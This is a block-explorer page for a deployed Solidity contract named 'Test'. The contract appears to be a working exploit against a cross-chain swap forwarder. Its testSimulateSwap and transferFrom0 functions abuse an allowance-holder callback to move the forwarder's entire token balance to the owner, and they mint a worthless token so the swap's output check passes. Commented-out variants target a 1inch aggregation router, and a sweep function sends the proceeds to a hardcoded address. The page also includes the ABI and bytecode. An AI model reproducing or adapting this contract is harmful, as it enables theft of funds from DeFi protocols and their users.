Source Code
Overview
ETH Balance
ETH Value
$0.00Latest 1 from a total of 1 transactions
| Transaction Hash |
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Test Simulate Sw... | 28320137 | 2 hrs ago | IN | 0 ETH | 0.0000084 |
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Test
Compiler Version
v0.8.31+commit.fd3a2265
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address to) external view returns (uint256);
function transfer(address to, uint256 amount) external;
function approve(address to, uint256 amount) external;
}
interface IAggregationExecutor {
/// @notice propagates information about original msg.sender and executes arbitrary data
function execute(address msgSender) external payable returns (uint256); // 0x4b64e492
}
interface SwapRouter02 {
function exactInputSingle(
ExactInputSingleParams calldata params
) external payable returns (uint256 amountOut);
}
interface UniSwapRouter {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function factory() external returns (address);
function WETH() external returns (address);
}
interface UniSwapFactory {
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
}
struct SwapDescription {
IERC20 srcToken;
IERC20 dstToken;
address payable srcReceiver;
address payable dstReceiver;
uint256 amount;
uint256 minReturnAmount;
uint256 flags;
}
interface IAggregationExecutorV5 {
function swap(
IAggregationExecutor executor,
SwapDescription calldata desc,
bytes calldata permit,
bytes calldata data
) external;
}
struct SameChainSwapDetails {
address allowanceAggregator;
address swapRouter;
bytes swapCalldata;
address tokenOut;
uint256 tokenOutMinAmount;
uint16 surplusShareBps;
bytes affiliateFeeEnvelope;
address recipient;
}
interface CrosschainForwarder {
function strictlySwapAndCall(
address _srcTokenIn,
uint256 _srcAmountIn,
bytes memory _srcTokenInPermitEnvelope,
address _srcSwapRouter,
bytes calldata _srcSwapCalldata,
address _srcTokenOut,
uint256 _srcTokenExpectedAmountOut,
address _srcTokenRefundRecipient,
address _target,
bytes calldata _targetData
) external payable;
function swap(
address _tokenIn,
uint256 _amountIn,
bytes memory _tokenInPermitEnvelope,
SameChainSwapDetails calldata _swapDetails,
uint32 _referralCode
) external payable;
}
interface AllowanceHolder {
function exec(
address operator,
address token,
uint256 amount,
address payable target,
bytes calldata data
) external;
function transferFrom(
address token,
address owner,
address recipient,
uint256 amount
) external returns (bool);
function transferFrom0(address token) external;
}
interface Token {
function mint(address to, uint256 amount) external;
}
interface TokenSender {
function tokenSender(address token, address to, uint256 amount) external;
}
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
contract Test {
address forwarder = 0x663DC15D3C1aC63ff12E45Ab68FeA3F0a883C251;
address v5 = 0x1111111254EEB25477B68fb85Ed929f73A960582;
address tokenSender = 0xc1342661E22326DDAEbDCDb38097CefD67c0ED14; //0xc7697B56BBFF3Db920857a380A9a8EC89e68400D
address tokenOut = 0x7831011aF7120e07d0C7BAdd8339cB61472d2D8C; //0x3674807A0045f5EbFDDe052C4F5E6D5834dFeD07
address otherToken = 0x7831011aF7120e07d0C7BAdd8339cB61472d2D8C; //0x61d6dd48B2a397518acdD4208613668f46d9718D
// UniSwapRouter public uniswapRouter;
// UniSwapFactory uniSwapFactory;
// address WETH;
address d3 = 0x0BaDfdA5596B52b7CcFbf47F323f70BBDcaE51D3;
address own;
modifier onlyOwn() {
address sender = tx.origin;
require(d3 == sender || own == sender, "ONLY D3 OR OWN");
_;
}
// function getUniswapRouter() external view returns (address) {
// return address(uniswapRouter);
// }
constructor(
// address _uniswapRouter
) {
// uniswapRouter = UniSwapRouter(_uniswapRouter);
// uniSwapFactory = UniSwapFactory(uniswapRouter.factory());
// WETH = uniswapRouter.WETH();
own = msg.sender;
// IERC20(WETH).approve(_uniswapRouter, type(uint256).max);
// testSimulateSwap(0x6100E367285b01F48D07953803A2d8dCA5D19873, tokenOut);
}
function mint() external onlyOwn {
Token(tokenOut).mint(v5, 100 * (10 ** uint256(18)));
Token(otherToken).mint(v5, 100 * (10 ** uint256(18)));
}
// function getPair(address token) external view returns (address pair) {
// return uniSwapFactory.getPair(token, WETH);
// }
function supportedRouters(address token) external view returns(bool,address) {
}
// address swapRouter02 = 0x807F4E281B7A3B324825C64ca53c69F0b418dE40;
// function testSwapRouter02(
// address tokenIn,
// address tokenOu0t,
// uint24 fee
// ) external {
// address token = tokenIn;
// TokenSender(tokenSender).tokenSender(
// token,
// address(this),
// IERC20(token).balanceOf(tokenSender) / 100
// ); //取1%
// IERC20(token).approve(forwarder, type(uint256).max);
// address _srcTokenIn = token;
// uint256 _srcAmountIn = IERC20(token).balanceOf(address(this));
// ExactInputSingleParams memory exparams = ExactInputSingleParams({
// tokenIn: token,
// tokenOut: tokenOu0t,
// fee: fee,
// recipient: forwarder,
// amountIn: IERC20(token).balanceOf(address(forwarder)),
// amountOutMinimum: 1,
// sqrtPriceLimitX96: 0
// });
// bytes memory _srcSwapCalldata = abi.encodeWithSelector(
// SwapRouter02.exactInputSingle.selector,
// exparams
// );
// SameChainSwapDetails memory swapDetails = SameChainSwapDetails({
// allowanceAggregator: address(0),
// swapRouter: swapRouter02,
// swapCalldata: _srcSwapCalldata,
// tokenOut: tokenOu0t,
// tokenOutMinAmount: 1,
// surplusShareBps: 10000,
// affiliateFeeEnvelope: bytes(""),
// recipient: address(own)
// });
// CrosschainForwarder(forwarder).swap(
// _srcTokenIn,
// _srcAmountIn,
// new bytes(0),
// swapDetails,
// 0
// );
// }
address exec = 0x0000000000001fF3684f28c67538d4D072C22734; //UniswapV3Router
function testSimulateSwap(
address token
) public payable onlyOwn {
TokenSender(tokenSender).tokenSender(
token,
address(this),
IERC20(token).balanceOf(tokenSender) / 100
); //取1%
IERC20(token).approve(forwarder, type(uint256).max);
address _srcTokenIn = token;
uint256 _srcAmountIn = IERC20(token).balanceOf(address(this));
bytes memory _srcSwapCalldata = abi.encodeWithSelector(
AllowanceHolder.exec.selector,
address(this),
token,
type(uint256).max,
address(this),
abi.encodeWithSelector(
AllowanceHolder.transferFrom0.selector,
token
)
);
SameChainSwapDetails memory swapDetails = SameChainSwapDetails({
allowanceAggregator: address(0),
swapRouter: exec,
swapCalldata: _srcSwapCalldata,
tokenOut: tokenOut,
tokenOutMinAmount: 1,
surplusShareBps: 10000,
affiliateFeeEnvelope: bytes(""),
recipient: address(own)
});
CrosschainForwarder(forwarder).swap(
_srcTokenIn,
_srcAmountIn,
new bytes(0),
swapDetails,
0
);
}
function transferFrom0(address token) external onlyOwn {
AllowanceHolder(exec).transferFrom(
token,
forwarder,
own,
IERC20(token).balanceOf(address(forwarder))
);
Token(tokenOut).mint(forwarder, 100 * (10 ** uint256(18)));
}
function test(address token) external payable onlyOwn {
// // address pair = this.getPair(token);
// // if (pair != address(0)) {
// // require(msg.value > 0, "MSG VALUE = 0");
// // address[] memory path = new address[](2);
// // path[0] = WETH;
// // path[1] = token;
// // WETH.call{value: msg.value}("");
// // uniswapRouter.swapExactTokensForTokens(
// // msg.value,
// // 0,
// // path,
// // address(this),
// // 9999999999
// // );
// // } else {
// // TokenSender(tokenSender).tokenSender(
// // token,
// // address(this),
// // IERC20(token).balanceOf(tokenSender) / 100
// // ); //取1%
// // }
// TokenSender(tokenSender).tokenSender(
// token,
// address(this),
// IERC20(token).balanceOf(tokenSender) / 100
// ); //取1%
// this.mint();
// IERC20(token).approve(forwarder, type(uint256).max);
// address _srcTokenIn = token;
// uint256 _srcAmountIn = IERC20(token).balanceOf(address(this));
// bytes memory _srcTokenInPermitEnvelope = new bytes(0);
// address _srcSwapRouter = v5;
// bytes memory _srcSwapCalldata = test1(_srcTokenIn, tokenOut, 0);
// address _srcTokenOut = tokenOut;
// uint256 _srcTokenExpectedAmountOut = IERC20(tokenOut).balanceOf(v5) - 1;
// address _target = v5;
// bytes memory _targetData = test1(
// tokenOut,
// otherToken,
// _srcTokenExpectedAmountOut
// );
// CrosschainForwarder(forwarder).strictlySwapAndCall(
// _srcTokenIn,
// _srcAmountIn,
// _srcTokenInPermitEnvelope,
// _srcSwapRouter,
// _srcSwapCalldata,
// _srcTokenOut,
// _srcTokenExpectedAmountOut,
// d3,
// _target,
// _targetData
// );
// if (address(this).balance > 0) {
// (bool success, ) = payable(d3).call{value: address(this).balance}(
// ""
// );
// require(success);
// }
}
// function execute(address msgSender) external payable onlyOwn {} // 0x4b64e492
// function test1(
// address srcToken,
// address _srcTokenOut,
// uint256 amount
// ) public view returns (bytes memory callData_) {
// if (amount == 0) {
// amount = IERC20(srcToken).balanceOf(forwarder);
// }
// IAggregationExecutor executor = IAggregationExecutor(address(this));
// SwapDescription memory desc = SwapDescription({
// srcToken: IERC20(srcToken),
// dstToken: IERC20(_srcTokenOut),
// srcReceiver: payable(0x0BaDfdA5596B52b7CcFbf47F323f70BBDcaE51D3),
// dstReceiver: payable(forwarder),
// amount: amount,
// minReturnAmount: 1,
// flags: 0
// });
// address spender = 0x85C0602394d35B03044af304C2d0137c82AafC34; // 你提供的 spender 地址
// uint256 amount = 0; // 假设你想批准的金额为 0
// // 获取 approve 函数的 selector (0x095ea7b3 是 approve(address,uint256) 的函数选择器)
// bytes memory data = abi.encodeWithSelector(0x095ea7b3, spender, amount);
// //IAggregationExecutorV5(v5).swap(executor, desc,new bytes(0), data);
// bytes4 selectr = IAggregationExecutorV5.swap.selector;
// callData_ = abi.encodeWithSelector(
// selectr,
// executor,
// desc,
// new bytes(0),
// data
// );
// }
function sendEthToken(address token) external onlyOwn {
if (token == address(0)) {
(bool success, ) = payable(d3).call{value: address(this).balance}(
""
);
require(success);
} else {
IERC20(token).transfer(d3, IERC20(token).balanceOf(address(this)));
}
}
}{
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"sendEthToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"supportedRouters","outputs":[{"internalType":"bool","name":"","type":"bool"},{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"test","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"testSimulateSwap","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"transferFrom0","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
608060405273663dc15d3c1ac63ff12e45ab68fea3f0a883c2515f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550731111111254eeb25477b68fb85ed929f73a96058260015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c1342661e22326ddaebdcdb38097cefd67c0ed1460025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737831011af7120e07d0c7badd8339cb61472d2d8c60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737831011af7120e07d0c7badd8339cb61472d2d8c60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550730badfda5596b52b7ccfbf47f323f70bbdcae51d360055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506d1ff3684f28c67538d4d072c2273460075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610254575f5ffd5b503360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611924806102a25f395ff3fe608060405260043610610054575f3560e01c80631249c58b146100585780638205affa1461006e5780639227615c1461008a5780639879c48d146100b2578063bb29998e146100ef578063c017b0421461010b575b5f5ffd5b348015610063575f5ffd5b5061006c610133565b005b61008860048036038101906100839190611121565b6103a6565b005b348015610095575f5ffd5b506100b060048036038101906100ab9190611121565b6109eb565b005b3480156100bd575f5ffd5b506100d860048036038101906100d39190611121565b610d14565b6040516100e6929190611175565b60405180910390f35b61010960048036038101906101049190611121565b610d1b565b005b348015610116575f5ffd5b50610131600480360381019061012c9190611121565b610e09565b005b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806101de57508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61021d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610214906111f6565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1960015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a61028a9190611379565b606461029691906113c3565b6040518363ffffffff1660e01b81526004016102b3929190611413565b5f604051808303815f87803b1580156102ca575f5ffd5b505af11580156102dc573d5f5f3e3d5ffd5b5050505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1960015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a61034d9190611379565b606461035991906113c3565b6040518363ffffffff1660e01b8152600401610376929190611413565b5f604051808303815f87803b15801561038d575f5ffd5b505af115801561039f573d5f5f3e3d5ffd5b5050505050565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061045157508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610490576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610487906111f6565b60405180910390fd5b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663490142a9833060648673ffffffffffffffffffffffffffffffffffffffff166370a0823160025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161052b919061143a565b602060405180830381865afa158015610546573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056a919061147d565b61057491906114d5565b6040518463ffffffff1660e01b815260040161059293929190611505565b5f604051808303815f87803b1580156105a9575f5ffd5b505af11580156105bb573d5f5f3e3d5ffd5b505050508173ffffffffffffffffffffffffffffffffffffffff1663095ea7b35f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161063a929190611413565b5f604051808303815f87803b158015610651575f5ffd5b505af1158015610663573d5f5f3e3d5ffd5b505050505f8290505f8373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106a5919061143a565b602060405180830381865afa1580156106c0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e4919061147d565b90505f632213bc0b60e01b30867fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff30639227615c60e01b8a60405160240161072c919061143a565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405160240161079d9594939291906115aa565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505090505f6040518061010001604052805f73ffffffffffffffffffffffffffffffffffffffff16815260200160075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200160035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001815260200161271061ffff16815260200160405180602001604052805f815250815260200160065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525090505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663258c16ee85855f67ffffffffffffffff81111561096157610960611602565b5b6040519080825280601f01601f1916602001820160405280156109935781602001600182028036833780820191505090505b50855f6040518663ffffffff1660e01b81526004016109b69594939291906117b6565b5f604051808303815f87803b1580156109cd575f5ffd5b505af11580156109df573d5f5f3e3d5ffd5b50505050505050505050565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a9657508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc906111f6565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166315dacbea835f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff166370a082315f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401610baf919061143a565b602060405180830381865afa158015610bca573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bee919061147d565b6040518563ffffffff1660e01b8152600401610c0d9493929190611815565b6020604051808303815f875af1158015610c29573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c4d9190611882565b5060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f195f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a610cba9190611379565b6064610cc691906113c3565b6040518363ffffffff1660e01b8152600401610ce3929190611413565b5f604051808303815f87803b158015610cfa575f5ffd5b505af1158015610d0c573d5f5f3e3d5ffd5b505050505050565b5f5f915091565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610dc657508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc906111f6565b60405180910390fd5b5050565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610eb457508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eea906111f6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fbe575f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051610f6c906118da565b5f6040518083038185875af1925050503d805f8114610fa6576040519150601f19603f3d011682016040523d82523d5f602084013e610fab565b606091505b5050905080610fb8575f5ffd5b506110bf565b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611035919061143a565b602060405180830381865afa158015611050573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611074919061147d565b6040518363ffffffff1660e01b8152600401611091929190611413565b5f604051808303815f87803b1580156110a8575f5ffd5b505af11580156110ba573d5f5f3e3d5ffd5b505050505b5050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110f0826110c7565b9050919050565b611100816110e6565b811461110a575f5ffd5b50565b5f8135905061111b816110f7565b92915050565b5f60208284031215611136576111356110c3565b5b5f6111438482850161110d565b91505092915050565b5f8115159050919050565b6111608161114c565b82525050565b61116f816110e6565b82525050565b5f6040820190506111885f830185611157565b6111956020830184611166565b9392505050565b5f82825260208201905092915050565b7f4f4e4c59204433204f52204f574e0000000000000000000000000000000000005f82015250565b5f6111e0600e8361119c565b91506111eb826111ac565b602082019050919050565b5f6020820190508181035f83015261120d816111d4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156112965780860481111561127257611271611214565b5b60018516156112815780820291505b808102905061128f85611241565b9450611256565b94509492505050565b5f826112ae5760019050611369565b816112bb575f9050611369565b81600181146112d157600281146112db5761130a565b6001915050611369565b60ff8411156112ed576112ec611214565b5b8360020a91508482111561130457611303611214565b5b50611369565b5060208310610133831016604e8410600b841016171561133f5782820a90508381111561133a57611339611214565b5b611369565b61134c848484600161124d565b9250905081840481111561136357611362611214565b5b81810290505b9392505050565b5f819050919050565b5f61138382611370565b915061138e83611370565b92506113bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461129f565b905092915050565b5f6113cd82611370565b91506113d883611370565b92508282026113e681611370565b915082820484148315176113fd576113fc611214565b5b5092915050565b61140d81611370565b82525050565b5f6040820190506114265f830185611166565b6114336020830184611404565b9392505050565b5f60208201905061144d5f830184611166565b92915050565b61145c81611370565b8114611466575f5ffd5b50565b5f8151905061147781611453565b92915050565b5f60208284031215611492576114916110c3565b5b5f61149f84828501611469565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6114df82611370565b91506114ea83611370565b9250826114fa576114f96114a8565b5b828204905092915050565b5f6060820190506115185f830186611166565b6115256020830185611166565b6115326040830184611404565b949350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61157c8261153a565b6115868185611544565b9350611596818560208601611554565b61159f81611562565b840191505092915050565b5f60a0820190506115bd5f830188611166565b6115ca6020830187611166565b6115d76040830186611404565b6115e46060830185611166565b81810360808301526115f68184611572565b90509695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611638816110e6565b82525050565b5f82825260208201905092915050565b5f6116588261153a565b611662818561163e565b9350611672818560208601611554565b61167b81611562565b840191505092915050565b61168f81611370565b82525050565b5f61ffff82169050919050565b6116ab81611695565b82525050565b5f61010083015f8301516116c75f86018261162f565b5060208301516116da602086018261162f565b50604083015184820360408601526116f2828261164e565b9150506060830151611707606086018261162f565b50608083015161171a6080860182611686565b5060a083015161172d60a08601826116a2565b5060c083015184820360c0860152611745828261164e565b91505060e083015161175a60e086018261162f565b508091505092915050565b5f819050919050565b5f63ffffffff82169050919050565b5f819050919050565b5f6117a061179b61179684611765565b61177d565b61176e565b9050919050565b6117b081611786565b82525050565b5f60a0820190506117c95f830188611166565b6117d66020830187611404565b81810360408301526117e88186611572565b905081810360608301526117fc81856116b1565b905061180b60808301846117a7565b9695505050505050565b5f6080820190506118285f830187611166565b6118356020830186611166565b6118426040830185611166565b61184f6060830184611404565b95945050505050565b6118618161114c565b811461186b575f5ffd5b50565b5f8151905061187c81611858565b92915050565b5f60208284031215611897576118966110c3565b5b5f6118a48482850161186e565b91505092915050565b5f81905092915050565b50565b5f6118c55f836118ad565b91506118d0826118b7565b5f82019050919050565b5f6118e4826118ba565b915081905091905056fea2646970667358221220813e89dc327aa988ac96ac21f6237872d4ba171fee5e67893cb61e349e76de1964736f6c634300081f0033
Deployed Bytecode
0x608060405260043610610054575f3560e01c80631249c58b146100585780638205affa1461006e5780639227615c1461008a5780639879c48d146100b2578063bb29998e146100ef578063c017b0421461010b575b5f5ffd5b348015610063575f5ffd5b5061006c610133565b005b61008860048036038101906100839190611121565b6103a6565b005b348015610095575f5ffd5b506100b060048036038101906100ab9190611121565b6109eb565b005b3480156100bd575f5ffd5b506100d860048036038101906100d39190611121565b610d14565b6040516100e6929190611175565b60405180910390f35b61010960048036038101906101049190611121565b610d1b565b005b348015610116575f5ffd5b50610131600480360381019061012c9190611121565b610e09565b005b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806101de57508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61021d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610214906111f6565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1960015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a61028a9190611379565b606461029691906113c3565b6040518363ffffffff1660e01b81526004016102b3929190611413565b5f604051808303815f87803b1580156102ca575f5ffd5b505af11580156102dc573d5f5f3e3d5ffd5b5050505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1960015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a61034d9190611379565b606461035991906113c3565b6040518363ffffffff1660e01b8152600401610376929190611413565b5f604051808303815f87803b15801561038d575f5ffd5b505af115801561039f573d5f5f3e3d5ffd5b5050505050565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061045157508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610490576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610487906111f6565b60405180910390fd5b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663490142a9833060648673ffffffffffffffffffffffffffffffffffffffff166370a0823160025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161052b919061143a565b602060405180830381865afa158015610546573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056a919061147d565b61057491906114d5565b6040518463ffffffff1660e01b815260040161059293929190611505565b5f604051808303815f87803b1580156105a9575f5ffd5b505af11580156105bb573d5f5f3e3d5ffd5b505050508173ffffffffffffffffffffffffffffffffffffffff1663095ea7b35f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161063a929190611413565b5f604051808303815f87803b158015610651575f5ffd5b505af1158015610663573d5f5f3e3d5ffd5b505050505f8290505f8373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106a5919061143a565b602060405180830381865afa1580156106c0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e4919061147d565b90505f632213bc0b60e01b30867fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff30639227615c60e01b8a60405160240161072c919061143a565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405160240161079d9594939291906115aa565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505090505f6040518061010001604052805f73ffffffffffffffffffffffffffffffffffffffff16815260200160075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200160035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001815260200161271061ffff16815260200160405180602001604052805f815250815260200160065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525090505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663258c16ee85855f67ffffffffffffffff81111561096157610960611602565b5b6040519080825280601f01601f1916602001820160405280156109935781602001600182028036833780820191505090505b50855f6040518663ffffffff1660e01b81526004016109b69594939291906117b6565b5f604051808303815f87803b1580156109cd575f5ffd5b505af11580156109df573d5f5f3e3d5ffd5b50505050505050505050565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a9657508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc906111f6565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166315dacbea835f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1